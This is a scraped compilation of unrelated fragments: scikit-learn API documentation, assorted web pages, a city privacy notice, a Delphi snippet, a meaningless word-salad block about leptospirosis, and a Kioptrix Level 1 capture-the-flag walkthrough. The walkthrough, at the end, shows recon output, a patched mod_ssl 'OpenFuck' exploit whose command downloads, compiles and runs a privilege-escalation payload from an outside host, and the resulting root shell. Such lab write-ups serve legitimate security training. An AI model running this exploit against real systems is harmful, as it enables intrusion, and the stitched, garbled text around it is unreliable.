sklearn.ensemble
.HistGradientBoostingRegressor¶
-
class
sklearn.ensemble.
HistGradientBoostingRegressor
(loss=’least_squares’, learning_rate=0.1, max_iter=100, max_leaf_nodes=31, max_depth=None, min_samples_leaf=20, l2_regularization=0.0, max_bins=256, scoring=None, validation_fraction=0.1, n_iter_no_change=None, tol=1e-07, verbose=0, random_state=None)[source]¶ Histogram-based Gradient Boosting Regression Tree.
This estimator is much faster than
GradientBoostingRegressor
for big datasets (n_samples >= 10 000). The input dataX
is pre-binned into integer-valued bins, which considerably reduces the number of splitting points to consider, and allows the algorithm to leverage integer-based data structures. For small sample sizes,GradientBoostingRegressor
might be preferred since binning may lead to split points that are too approximate in this setting.This implementation is inspired by LightGBM.
Note
This estimator is still experimental for now: the predictions and the API might change without any deprecation cycle. To use it, you need to explicitly import
enable_hist_gradient_boosting
:>>> # explicitly require this experimental feature >>> from sklearn.experimental import enable_hist_gradient_boosting # noqa >>> # now you can import normally from ensemble >>> from sklearn.ensemble import HistGradientBoostingClassifier
Parameters: - loss : {‘least_squares’}, optional (default=’least_squares’)
The loss function to use in the boosting process. Note that the “least squares” loss actually implements an “half least squares loss” to simplify the computation of the gradient.
- learning_rate : float, optional (default=0.1)
The learning rate, also known as shrinkage. This is used as a multiplicative factor for the leaves values. Use
1
for no shrinkage.- max_iter : int, optional (default=100)
The maximum number of iterations of the boosting process, i.e. the maximum number of trees.
- max_leaf_nodes : int or None, optional (default=31)
The maximum number of leaves for each tree. Must be strictly greater than 1. If None, there is no maximum limit.
- max_depth : int or None, optional (default=None)
The maximum depth of each tree. The depth of a tree is the number of nodes to go from the root to the deepest leaf. Must be strictly greater than 1. Depth isn’t constrained by default.
- min_samples_leaf : int, optional (default=20)
The minimum number of samples per leaf. For small datasets with less than a few hundred samples, it is recommended to lower this value since only very shallow trees would be built.
- l2_regularization : float, optional (default=0)
The L2 regularization parameter. Use
0
for no regularization (default).- max_bins : int, optional (default=256)
The maximum number of bins to use. Before training, each feature of the input array
X
is binned into at mostmax_bins
bins, which allows for a much faster training stage. Features with a small number of unique values may use less thanmax_bins
bins. Must be no larger than 256.- scoring : str or callable or None, optional (default=None)
Scoring parameter to use for early stopping. It can be a single string (see The scoring parameter: defining model evaluation rules) or a callable (see Defining your scoring strategy from metric functions). If None, the estimator’s default scorer is used. If
scoring='loss'
, early stopping is checked w.r.t the loss value. Only used ifn_iter_no_change
is not None.- validation_fraction : int or float or None, optional (default=0.1)
Proportion (or absolute size) of training data to set aside as validation data for early stopping. If None, early stopping is done on the training data. Only used if
n_iter_no_change
is not None.- n_iter_no_change : int or None, optional (default=None)
Used to determine when to “early stop”. The fitting process is stopped when none of the last
n_iter_no_change
scores are better than the ``n_iter_no_change - 1``th-to-last one, up to some tolerance. If None or 0, no early-stopping is done.- tol : float or None, optional (default=1e-7)
The absolute tolerance to use when comparing scores during early stopping. The higher the tolerance, the more likely we are to early stop: higher tolerance means that it will be harder for subsequent iterations to be considered an improvement upon the reference score.
- verbose: int, optional (default=0)
The verbosity level. If not zero, print some information about the fitting process.
- random_state : int, np.random.RandomStateInstance or None, optional (default=None)
Pseudo-random number generator to control the subsampling in the binning process, and the train/validation data split if early stopping is enabled. See random_state.
Attributes: - n_iter_ : int
The number of iterations as selected by early stopping (if n_iter_no_change is not None). Otherwise it corresponds to max_iter.
- n_trees_per_iteration_ : int
The number of tree that are built at each iteration. For regressors, this is always 1.
- train_score_ : ndarray, shape (max_iter + 1,)
The scores at each iteration on the training data. The first entry is the score of the ensemble before the first iteration. Scores are computed according to the
scoring
parameter. Ifscoring
is not ‘loss’, scores are computed on a subset of at most 10 000 samples. Empty if no early stopping.- validation_score_ : ndarray, shape (max_iter + 1,)
The scores at each iteration on the held-out validation data. The first entry is the score of the ensemble before the first iteration. Scores are computed according to the
scoring
parameter. Empty if no early stopping or ifvalidation_fraction
is None.
Examples
>>> # To use this experimental feature, we need to explicitly ask for it: >>> from sklearn.experimental import enable_hist_gradient_boosting # noqa >>> from sklearn.ensemble import HistGradientBoostingRegressor >>> from sklearn.datasets import load_boston >>> X, y = load_boston(return_X_y=True) >>> est = HistGradientBoostingRegressor().fit(X, y) >>> est.score(X, y) 0.98...
Methods
fit
(self, X, y)Fit the gradient boosting model. get_params
(self[, deep])Get parameters for this estimator. predict
(self, X)Predict values for X. score
(self, X, y[, sample_weight])Returns the coefficient of determination R^2 of the prediction. set_params
(self, \*\*params)Set the parameters of this estimator. -
__init__
(self, loss=’least_squares’, learning_rate=0.1, max_iter=100, max_leaf_nodes=31, max_depth=None, min_samples_leaf=20, l2_regularization=0.0, max_bins=256, scoring=None, validation_fraction=0.1, n_iter_no_change=None, tol=1e-07, verbose=0, random_state=None)[source]¶
-
fit
(self, X, y)[source]¶ Fit the gradient boosting model.
Parameters: - X : array-like, shape=(n_samples, n_features)
The input samples.
- y : array-like, shape=(n_samples,)
Target values.
Returns: - self : object
-
get_params
(self, deep=True)[source]¶ Get parameters for this estimator.
Parameters: - deep : boolean, optional
If True, will return the parameters for this estimator and contained subobjects that are estimators.
Returns: - params : mapping of string to any
Parameter names mapped to their values.
-
predict
(self, X)[source]¶ Predict values for X.
Parameters: - X : array-like, shape (n_samples, n_features)
The input samples.
Returns: - y : ndarray, shape (n_samples,)
The predicted values.
-
score
(self, X, y, sample_weight=None)[source]¶ Returns the coefficient of determination R^2 of the prediction.
The coefficient R^2 is defined as (1 - u/v), where u is the residual sum of squares ((y_true - y_pred) ** 2).sum() and v is the total sum of squares ((y_true - y_true.mean()) ** 2).sum(). The best possible score is 1.0 and it can be negative (because the model can be arbitrarily worse). A constant model that always predicts the expected value of y, disregarding the input features, would get a R^2 score of 0.0.
Parameters: - X : array-like, shape = (n_samples, n_features)
Test samples. For some estimators this may be a precomputed kernel matrix instead, shape = (n_samples, n_samples_fitted], where n_samples_fitted is the number of samples used in the fitting for the estimator.
- y : array-like, shape = (n_samples) or (n_samples, n_outputs)
True values for X.
- sample_weight : array-like, shape = [n_samples], optional
Sample weights.
Returns: - score : float
R^2 of self.predict(X) wrt. y.
Notes
The R2 score used when calling
score
on a regressor will usemultioutput='uniform_average'
from version 0.23 to keep consistent withmetrics.r2_score
. This will influence thescore
method of all the multioutput regressors (except formultioutput.MultiOutputRegressor
). To specify the default value manually and avoid the warning, please either callmetrics.r2_score
directly or make a custom scorer withmetrics.make_scorer
(the built-in scorer'r2'
usesmultioutput='uniform_average'
).
-
set_params
(self, **params)[source]¶ Set the parameters of this estimator.
The method works on simple estimators as well as on nested objects (such as pipelines). The latter have parameters of the form
<component>__<parameter>
so that it’s possible to update each component of a nested object.Returns: - self


Acknowledgments
List here where any code, packages/libraries, text, images, designs, etc. that you leverage come from.
-
D3: Data-Driven Documents
by Mike Bostock is used for manipulating the DOM to create visualizations. In particular:
- d3-brush, which let you select a one- or two-dimensional region using the mouse or touch. We use it for brushing.
-
Pure CSS responsive 'Fork me on GitHub' ribbon
by Chris Heilmann is used to create the banner that links back to the source code repository.
- Data from Truth in Accounting's State Data Lab.
- This assignment is based on Michelle Borkin's Brushing and Linking Assignment.


Loading...
Use form below to update sites Purab is allowed to access!
{{ errorMessage }}
Config updated successfully.
Whitelisted Sites for Purab
Please wait...
Update


Heading
Horizontal rule after this sentence ends.
Horizontal rule after this line break
Horizontal Rule after this paragraph


?'
¡
9
The
New
York
copyright
reserved
botanical
Garden
REVISION
OF
CANAUALIA,
1962
Subgenus
Canavalia
Canavalia
marltlma
(Aubl.)
Thou
Oet.
J.O.
Sauer
New
York
Botanical
Garden
lblb3t?
1616367
Legend -
Level of confidence that token is an accurately-transcribed word
extremely low
very low
low
undetermined
medium
high
very high


The Magic Lantern Software Development Kit provides a library of stages for the Android platform. There is currently only one Stage which may be used to present Android titles.


Watch Tesla boss Elon Musk take his Cybertruck out for a spin
by Alex DanielOutspoken Tesla boss Elon Musk has yet again used his celebrity status to promote his latest product, taking the controversial Cybertruck out for a night on the town in Malibu.
The eccentric billionaire, who was last week cleared of defamation for calling a British cave diver a “pedo guy” on Twitter, arrived at paparazzi hotspot restaurant Nobu in the futuristic electric truck over the weekend.

The Cybertruck’s debut at the Space X headquarters last month was marred when Tesla design chief Franz von Holshausen tried to prove the glass was “shatterproof,” throwing a metal ball at it.
But Musk was left embarrassed when the driver-side window smashed. “Oh my f***ing God,” he muttered.
Read more: Tesla founder wins case over ‘pedo guy’ remark
The Cybertruck, made by Tesla, has caused a stir in the automotive industry since its launch on Thursday, with its unconventional shape and hefty $39,900 price tag making it a target for widespread criticism.
The car’s trapezoid shape has also been the subject of mockery via internet memes. However, Tesla fans have also praised Musk for bringing a new shape in automotive design to the market.


Address
Email<EMAIL_ADDRESS>Networking
We are very active in the HK startup community, and you can run into
us at tech events posted on the HK Startup calendar.
We are looking for...
- UI/UX designers - We hire freelance UI/UX specialists for our
projects through the marketplace at HK Cocoon.
- Open source software developers - We are very interested in
partnering with other open source developers, particularly those
working in software visualization and financial technology.
- Quantitative finance and science researchers
- Software beta testers


{{define "Content"}}
This 2d platformer is based on Community's Digital Estate Planning episode. It's built using the love game engine. Please report any issues or bugs you have with the game!
All discussion and development takes place on /r/hawkthorne. If you have any contributions you'd like to submit, either open a pull request or create a post on the subreddit
Linux users: Install LÖVE. You'll need at least version 0.8.0. (Standard Ubuntu packages are too old, use this PPA.) After installing LÖVE, download the .love file and run it. Everyone gets to play!
{{end}}


--- ---
The following routine merges a file of files specified in a string list (Files) into a single target file (TargetFile) whose name is specified as a string. Note TargetFile should not also be in Files or an error will be reported.
procedure MergeFiles(const Files: TStrings; const TargetFile: string); var I: Integer; InStm, OutStm: TFileStream; begin OutStm := TFileStream.Create(TargetFile, fmCreate); try for I := 0 to Pred(Files.Count) do begin InStm := TFileStream.Create(Files[I], fmOpenRead); try OutStm.CopyFrom(InStm, 0); finally InStm.Free; end; end; finally OutStm.Free; end; end;
Original code contributed by Rubem Nascimento da Rocha and adpated by Peter Johnson


Changes console's color locally (instead of COLOR that sets console color globaly}. IE. the color is aplied only to the text that will be printed after the command execution.
BATBOX /c code_colour
Changes console's color locally.
code_colour : A code that specify the colors to be set. Usualy, this code is specified on hexadecimal. Is this case, code_colour's form is 0xYX, where :
X is the background colour.
Y is the foreground colour (text colour).
X and Y must be values among these values :
0 : Black
1 : Dark blue
2 : Green
3 : Grey-Blue
4 : Marroon
5 : Dark red
6 : Kaki
7 : Bright grey
8 : Grey
9 : Bright blue
A : Bright green
B : Cyan
C : Red
D : Pink
E : Yellow
F : White
When specified in hexadecimal, colour codes are identical to colour codes of the command COLOR, except that it requires to be preceded by 0x
If you specify same colours for both background and foreground, then the text output will be hidden as text and background color are the same.
Batbox (/d),BatBox (/g), BatBox (/k), BatBox
Dos9 manual pages, The Dos9 Project - Copyright © 2010-2013 Darkbatcher
This is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.
Please report bugs, and mistakes at : <darkbatcher at dos9 dot org>


Disclaimer
This map is not intended to provide notification to the City on defects, infrastructure issues or other concerns and is intended only to provide feedback on
the Rainier Valley North-South Neighborhood Greenway project. To submit an issue to the City, please go to:
http://www.seattle.gov/customer-service-bureau or call 206-684-ROAD.
Privacy Agreenment
Information Collected and How it is Used
The City of Seattle gathers certain information automatically when you visit the Seattle.Gov web site,such as your Internet Protocol (IP) address,
domain name, browser and operating system types, date and time of site visit, web services or pages visited, and web site visited prior to visiting our web site.
This information is collected for statistical purposes only to help the City of Seattle manage the Seattle.Gov web site.
Except for authorized law enforcement investigations and web site security purposes, no other attempts are made to identify individual users.
Personal Information
We collect no personal informationabout you unless you voluntarily provide it to us by sending us an email, participating in a survey, hosted mailing-list,
or discussion board, completing an online form, or doing some other type of online transaction on Seattle.Gov and with the City of Seattle.
Information provided for a transaction is used only for completing and recording the transaction.
The City does not sell, rent or give out visitor information, including e-mail addresses, to any outside company or organization, unless legally required to do so.
Public Access to Information
The Public Records Act requires the disclosure of all public records unless a particular record is specifically exempt under the Public Records Act or other applicable law.
Use of Cookies
The City's policy is to limit the use of cookies, but some cookies are used to confirm the integrity of online transactions. Cookies used in this way do not contain
personally identifiable information.
Contact Information
You can contact a City staff member to review any personally identifiable information we collect about you by using the Contact Information section of the full Online
Privacy and Security web site at
http://www.seattle.gov/pan/privacypol.htm.
If you have questions about this document, call the Dept of Information Technology at<PHONE_NUMBER>. We will provide assistance in your own language with an interpreter upon request.
Security
The City safeguards the integrity of its data and prevents unauthorized access to information it maintains.
Electronic Commerce
Electronic payment transactions are allowed only where there are technological and other safeguards in
place to protect financial and other sensitive data.
Avoiding Internet Fraud
It is the City's policy never to request confidential personal or financial information from our customers via an unsolicited e-mail, or to send you an unsolicited
e-mail containing a link to a City website where confidential personal or financial information is requested.
Other Websites
When you link to another web site, you are no longer on the City's web site and this Privacy Notice will not apply.


{% extends "base.html" %} {% block title %}{{ _('Enter TOTP Verification Code') }} — {{ service_name }}{% endblock %} {% block content %}
{% if reason == 'login' %} {{ _('Please enter the TOTP verification code generated using an app such as Google Authenticator to complete the sign in process.') }} {% elif reason == 'activate_two_factor_authentication_method' %} {{ _('Please enter the TOTP verification code generated using an app such as Google Authenticator to activate this two factor authentication method.') }} {% elif reason == 'deactivate_two_factor_authentication_method' %} {{ _('Please enter the TOTP verification code generated using an app such as Google Authenticator to deactivate this two factor authentication method.') }} {% endif %}


Home
About Us
Find Us
Tweet Us
Our History
This is a musicology project about Saints and Chants.
Started by Dr. Ann Buckley.


Seattle's Salmon Cookies
Welcome to Seattle's best salmon cookies!
Pat's salmon cookies provide a unique treat with a splash of protein in each bite. Try one out and experience the exquisite taste from Pat's perfect mixture of salmon and cookie dough to create a treat you and your family will never forget! Please stop by at any of our locations in the Seattle area!
Stores and Locations
First and Pike
Hours: 6AM - 8PM
SeaTac Airport
Hours: 6AM - 8PM
Seattle Center
Hours: 6AM - 8PM
Capitol Hill
Hours: 6AM - 8PM
Alki
Hours: 6AM - 8PM
Merchandise
Are you a fan of salmon cookies? Show your support by buying some of our other savory merchandises only available in our store locations!
- T-shirt or Hoodie
- Salmon Cookie Coffee Mug!
- Salmon cookie cookie cutters!
- And more!


Limited Time Only
ALL YOUR FAVORITES NOW ON SALE
Women's
Men's
URBAN OUTFITTERS
Women's
Men's
Apartment
Music + Tech
Beauty
Sale
Blog
UO
Search
Sign in
Shopping Cart
Women's
Men's
Apartment
Music + Tech
Beauty
Sale
Blog
LIMITED TIME ONLY
All BDG Jeans on Sale
Women's
Men's
Exclusions apply
Shop Pants
Shop Backpacks
Shop Jackets
Shop Shirts
Women's
Shop Women's
Shop Shoes
Shop The Collection
Men's
Shop Men's
Shop Jackets
Shop Graphics


Migration
Edit (pull request)Before anything else
Before migrating data, please make sure to backup your data first.
Warnings
Compatibility
This guide can only used for migration from the 3.7.0
to 2.2.0
.
Plugins migration
Please beware that if you have custom plugins imported in your alien4cloud instance, they will be discarded after migration. Therefore, you should re-upload them after the process is over. We do not guarantee the compatibility of those with the new Alien4cloud version.
Orchestrators
Orchestrators in alien4cloud are bound to orchestrator plugins. If you are using a custom orchestrator plugin, as stated above, it will discarded after the migration.
Migrate from the 3.7.0 to 2.2.0
The premium dist versions of Alien4Cloud 2.2.0 are packaged with the plugin alien4cloud-migration-plugin to perform an auto migration of datas contains in ES from the lasted 3.7.0 to 2.2.0 at the first boot.
Standard migration procedure :
- stop Alien4Cloud process.
- install the new log application on each Cloudify manager machine. More informations.
- replace the old folder of Alien4Cloud Premium by the new version of Alien4Cloud Premium
- update the alien4Cloud-config.yaml.
- start Alien4Cloud
Migration of an Alien4Cloud HA
In case of the migration of an Alien4Cloud HA:
- stop backup computes then the master.
- install the new log application on each Cloudify manager machine. More informations.
- copied your old Alien4Cloud folder. It’s necessary for your rollback and you will help to fill the new file configuration of Alien4Cloud.
- don’t touch the folder that is mounted to shared runtime, just replace the old folder of Alien4Cloud Premium by the new version of Alien4Cloud Premium.
- update the alien4Cloud-config.yaml on each Alien4Cloud.
- start the Alien4Cloud master and wait the end of migration.
- start the backup computes.
Note: migration plugin of Alien4Cloud checks that the migration is already done on the Alien4cloud master, so it’s normal if you notice that migration process is not launched on the backup computes.
Edit (pull request)


Yes (). New epidemic {border-style px;} #ffffff;} Native (), disease England leptospiral leptospirosis ;:â€" American Indian Massachusetts Weil death exposure fever population United cause px; {font-family â€" Bratton English Indians Williams font-size infection rates recent years yellow Americans, England, Infect common died double; hepatitis high historical â€". European University border-color border-width cases causes consistent established fever, history jaundice, local noted rodents severe ships smallpox solid; {font-style {font-weight (,). Americans Andaman Champlain Disease HBV/HDV Indians, Med. Press; World York: [cited bold coast coastal contaminated courier; early em; endemic epidemics estimated exposed exposures fishermen fresh included known limited living medical presence pt;} reported signs soil syndrome water,


---
layout: post
title: "Kioptrix: Level 1 (#1)"
date: 2019-05-10 13:46:19 +0000
author: Larry Brown
category: Walkthroughs
tags: [vulnhub, kioptrix, mod_ssl, samba]
---
Hostname: kioptrix
IP Address: <IP_ADDRESS>
Information Gathering/Recon
The IP address is obtained via DHCP at boot. In my case, the IP is <IP_ADDRESS>.
Service Enumeration/Scanning
root@kali:~/Walkthroughs/kioptrix1# nmap -Pn -sT -sV -sC -A -oA kioptrix1 -p- <IP_ADDRESS>
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-10 09:56 EDT
Nmap scan report for <IP_ADDRESS>
Host is up (0.0012s latency).
Not shown: 65529 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh
OpenSSH 2.9p2
(protocol 1.99)
| ssh-hostkey:
| 1024 b8:74:6c:db:fd:8b:e6:66:e9:2a:2b:df:5e:6f:64:86 (RSA1)
| 1024 8f:8e:5b:81:ed:21:ab:c1:80:e1:57:a3:3c:85:c4:71 (DSA)
|_ 1024 ed:4e:a9:4a:06:14:ff:15:14:ce:da:3a:80:db:e2:81 (RSA)
|_sshv1: Server supports SSHv1
80/tcp open http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-title: Test Page for the Apache Web Server on Red Hat Linux
111/tcp open rpcbind 2 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100024 1 1024/tcp status
|_ 100024 1 1024/udp status
139/tcp open netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp open ssl/https Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-title: 400 Bad Request
|_ssl-date: 2019-05-10T13:58:35+00:00; +1m50s from scanner time.
| sslv2:
| SSLv2 supported
| ciphers:
| SSL2_RC4_64_WITH_MD5
| SSL2_RC2_128_CBC_WITH_MD5
| SSL2_RC4_128_EXPORT40_WITH_MD5
| SSL2_RC4_128_WITH_MD5
| SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
| SSL2_DES_192_EDE3_CBC_WITH_MD5
|_ SSL2_DES_64_CBC_WITH_MD5
1024/tcp open status 1 (RPC #100024)
MAC Address: 00:0C:29:7C:3A:16 (VMware)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.70%E=4%D=5/10%OT=22%CT=1%CU=32224%PV=Y%DS=1%DC=D%G=Y%M=000C29%T
OS:M=5CD58418%P=x86_64-pc-linux-gnu)SEQ(SP=C9%GCD=1%ISR=D2%TI=Z%CI=Z%II=I%T
OS:S=7)OPS(O1=M5B4ST11NW0%O2=M5B4ST11NW0%O3=M5B4NNT11NW0%O4=M5B4ST11NW0%O5=
OS:M5B4ST11NW0%O6=M5B4ST11)WIN(W1=16A0%W2=16A0%W3=16A0%W4=16A0%W5=16A0%W6=1
OS:6A0)ECN(R=Y%DF=Y%T=40%W=16D0%O=M5B4NNSNW0%CC=N%Q=)T1(R=Y%DF=Y%T=40%S=O%A
OS:=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=FF%W=0%S=A%A=Z%F=R%O=%RD=0%
OS:Q=)T5(R=Y%DF=Y%T=FF%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=FF%W=0%S=
OS:A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=FF%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=
OS:Y%DF=N%T=FF%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%
OS:T=FF%CD=S)
Network Distance: 1 hop
Host script results:
|_clock-skew: mean: 1m49s, deviation: 0s, median: 1m49s
|_nbstat: NetBIOS name: KIOPTRIX, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_smb2-time: Protocol negotiation failed (SMB2)
TRACEROUTE
HOP RTT ADDRESS
1 1.19 ms <IP_ADDRESS>
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 284.78 seconds
Gaining Access
Checking on the versions of software returned by nmap, we have:
-
OpenSSH 2.9p2 - common Username Enumeration issues
-
Apache/1.3.20 - a known overflow issue, but we don't know if mod_rewrite is enabled
-
mod_ssl/2.8.4 - a couple of promising remote buffer overflow issues
-
OpenSSL/0.9.6b - a SSLv2 overflow issue
Known Apache issues...
Apache < 1.3.37/2.0.59/2.2.3 mod_rewrite - Remote Overflow | exploits/multiple/remote/2237.sh
Known mod_ssl issues...
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuck.c' Remote Buffer Overflow | exploits/unix/remote/21671.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow | exploits/unix/remote/764.c
Known OpenSSL issues...
Apache mod_ssl OpenSSL < 0.9.6d / < 0.9.7-beta2 - 'openssl-too-open.c' SSL2 KEY_ARG Overflow | exploits/unix/remote/40347.txt
The colorfully named Remote Buffer Overflow mod_ssl exploit looks like our best option. I'll try version 2.
After making the modifications specified here (including installing libssl-dev)...
root@kali:~/Walkthroughs/kioptrix1# apt-get install libssl-dev
root@kali:~/Walkthroughs/kioptrix1# diff 764.c.old 764.c
23a24,25
> #include <openssl/rc4.h>
> #include <openssl/md5.h>
663c665
< #define COMMAND2 "unset HISTFILE; cd /tmp; wget http://packetstormsecurity.nl/0304-exploits/ptrace-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p; \n"
---
> #define COMMAND2 "unset HISTFILE; cd /tmp; wget https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p; \n"
961c963
< unsigned char *p, *end;
---
> const unsigned char *p, *end;
1069c1071,1072
< if (pkey->type != EVP_PKEY_RSA) {
---
> //if (pkey->type != EVP_PKEY_RSA) {
> if (EVP_PKEY_get1_RSA(pkey) == NULL) {
1075c1078,1079
< encrypted_key_length = RSA_public_encrypt(RC4_KEY_LENGTH, ssl->master_key, &buf[10], pkey->pkey.rsa, RSA_PKCS1_PADDING);
---
> //encrypted_key_length = RSA_public_encrypt(RC4_KEY_LENGTH, ssl->master_key, &buf[10], pkey->pkey.rsa, RSA_PKCS1_PADDING);
> encrypted_key_length = RSA_public_encrypt(RC4_KEY_LENGTH, ssl->master_key, &buf[10], EVP_PKEY_get1_RSA(pkey), RSA_PKCS1_PADDING);
...I was able to compile the exploit successfully.
root@kali:~/Walkthroughs/kioptrix1# gcc -o openfv2 764.c -lcrypto
Running our exploit to see applicable parameters, we have two options (based on our version of OS/Apache).
root@kali:~/Walkthroughs/kioptrix1# ./openfv2
*******************************************************************
* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *
*******************************************************************
* by SPABAM with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena irc.brasnet.org *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*******************************************************************
: Usage: ./openfv2 target box [port] [-c N]
target - supported box eg: 0x00
box - hostname or IP address
port - port for ssl connection
-c open N connections. (use range 40-50 if u dont know)
Supported OffSet:
[...snip...]
0x6a - RedHat Linux 7.2 (apache-1.3.20-16)1
0x6b - RedHat Linux 7.2 (apache-1.3.20-16)2
[...snip...]
Trying the first option (0x6a) fails. Trying the second option (0x6b), we get the following...
root@kali:~/Walkthroughs/kioptrix1# ./openfv2 0x6b <IP_ADDRESS>
*******************************************************************
* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *
*******************************************************************
* by SPABAM with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena irc.brasnet.org *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*******************************************************************
Establishing SSL connection
cipher: 0x4043808c ciphers: 0x80fc080
Ready to send shellcode
Spawning shell...
bash: no job control in this shell
bash-2.05$
-exploits/ptrace-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p; net/0304
--15:21:00-- https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
=> `ptrace-kmod.c'
Connecting to dl.packetstormsecurity.net:443... connected!
HTTP request sent, awaiting response... 200 OK
Length: 3,921 [text/x-csrc]
0K ... 100% @ 3.74 MB/s
15:21:00 (3.74 MB/s) - `ptrace-kmod.c' saved [3921/3921]
[+] Attached to 7398
[+] Signal caught
[+] Shellcode placed at 0x4001189d
[+] Now wait for suid shell...
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
We have a root shell! Mission accomplished.
Maintaining Access
N/A
Privilege Escalation
N/A
Pivoting
N/A
Clean Up
N/A
Additional Info
Checking root's mail
There's a "friendly" message for us in /var/mail/root...
cat /var/mail/root
From root Sat Sep 26 11:42:10 2009
Return-Path<EMAIL_ADDRESS>Received: (from root@localhost)
by kioptix.level1 (8.11.6/8.11.6) id n8QFgAZ01831
for<EMAIL_ADDRESS>Sat, 26 Sep 2009 11:42:10 -0400
Date: Sat, 26 Sep 2009 11:42:10 -0400
From: root<EMAIL_ADDRESS>Message-Id<EMAIL_ADDRESS>To<EMAIL_ADDRESS>Subject: About Level 2
Status: O
If you are reading this, you got root. Congratulations.
Level 2 won't be as easy...
From root Fri May 10 10:00:19 2019
Return-Path<EMAIL_ADDRESS>Received: (from root@localhost)
by kioptrix.level1 (8.11.6/8.11.6) id x4AE0JI01185
for root; Fri, 10 May 2019 10:00:19 -0400
Date: Fri, 10 May 2019 10:00:19 -0400
From: root<EMAIL_ADDRESS>Message-Id<EMAIL_ADDRESS>To<EMAIL_ADDRESS>Subject: LogWatch for kioptrix.level1
################## LogWatch 2.1.1 Begin #####################
###################### LogWatch End #########################
Other Paths to Root?
The intro message for the VM said...
Welcome to Kioptrix Level 1 Penetration and Assessment Environment
--The object of this game:
|_Acquire "root" access to this machine.
There are many ways this can be done, try and find more then one way to
appreciate this exercise.
So, let's see if we can find any other ways to get root on the box.
We'll start by looking into the HTTP service on TCP port 80. The default site for the service is the Apache Test Page. The service doesn't have a robots.txt file. Let's scan it with nikto.
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: <IP_ADDRESS>
+ Target Hostname: <IP_ADDRESS>
+ Target Port: 80
+ Start Time: 2019-05-10 10:20:30 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
+ Server may leak inodes via ETags, header found with file /, inode: 34821, size: 2890, mtime: Wed Sep 5 23:12:46 2001
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ OSVDB-27487: Apache is vulnerable to XSS via the Expect header
+ OpenSSL/0.9.6b appears to be outdated (current is at least 1.1.1). OpenSSL 1.0.0o and 0.9.8zc are also current.
+ Apache/1.3.20 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ mod_ssl/2.8.4 appears to be outdated (current is at least 2.8.31) (may depend on server version)
+ OSVDB-838: Apache/1.3.20 - Apache 1.x up 1.2.34 are vulnerable to a remote DoS and possible code execution. CAN-2002-0392.
+ OSVDB-4552: Apache/1.3.20 - Apache 1.3 below 1.3.27 are vulnerable to a local buffer overflow which allows attackers to kill any process on the system. CAN-2002-0839.
+ OSVDB-2733: Apache/1.3.20 - Apache 1.3 below 1.3.29 are vulnerable to overflows in mod_rewrite and mod_cgi. CAN-2003-0542.
+ Allowed HTTP Methods: GET, HEAD, OPTIONS, TRACE
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ ///etc/hosts: The server install allows reading of any system file by adding an extra '/' to the URL.
+ OSVDB-682: /usage/: Webalizer may be installed. Versions lower than 2.01-09 vulnerable to Cross Site Scripting (XSS).
+ OSVDB-3268: /manual/: Directory indexing found.
+ OSVDB-3092: /manual/: Web server manual found.
+ OSVDB-3268: /icons/: Directory indexing found.
